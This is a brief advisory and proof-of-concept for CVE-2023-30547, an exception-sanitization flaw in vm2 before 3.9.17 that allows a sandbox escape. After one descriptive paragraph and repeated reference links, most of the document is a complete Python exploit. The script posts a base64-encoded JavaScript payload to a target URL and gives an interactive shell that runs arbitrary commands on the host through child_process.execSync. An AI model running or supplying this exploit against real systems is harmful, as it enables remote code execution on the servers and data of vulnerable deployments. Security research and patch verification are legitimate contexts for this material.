vm2 < 3.9.17 is vulnerable to arbitrary code execution due to a flaw in exception sanitization. Attackers can exploit this by triggering an unsanitized host exception within handleException(), enabling them to escape the sandbox and run arbitrary code in the host context.
Info: https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
POC: https://github.com/rvizx/CVE-2023-30547
Info: https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
POC: https://github.com/rvizx/CVE-2023-30547
Python:
#!/bin/python3
import requests
import base64
import sys
import cmd
import readline
import json
# CVE-2023-30547 - PoC Exploit for VM2 Sandbox Escape Vulnerability
# Author : Ravindu Wickramasinghe | rvz
class ExploitShell(cmd.Cmd):
def __init__(self, url):
super().__init__()
self.url = url
def default(self, line):
cmd = line
payload = '''const {VM} = require("vm2");
const vm = new VM();
const code = `
cmd = "'''+cmd+'''";
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync(cmd);
}
`
console.log(vm.run(code));'''
encoded_payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
# update if needed
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/json',
'Connection': 'keep-alive',
}
# update if needed
json_data = {'code': encoded_payload}
try:
response = requests.post(self.url, headers=headers, json=json_data)
except:
print("[!] an error occurred!")
return
try:
values = list(json.loads(response.text).values())
print(values[0])
except json.JSONDecodeError:
print(response.text)
def do_exit(self, args):
print("exiting...")
return True
def main():
try:
url = sys.argv[1]
except IndexError:
print("usage: ./exploit.py <url>")
sys.exit(1)
shell = ExploitShell(url)
shell.prompt = "> "
shell.cmdloop()
if __name__ == "__main__":
main()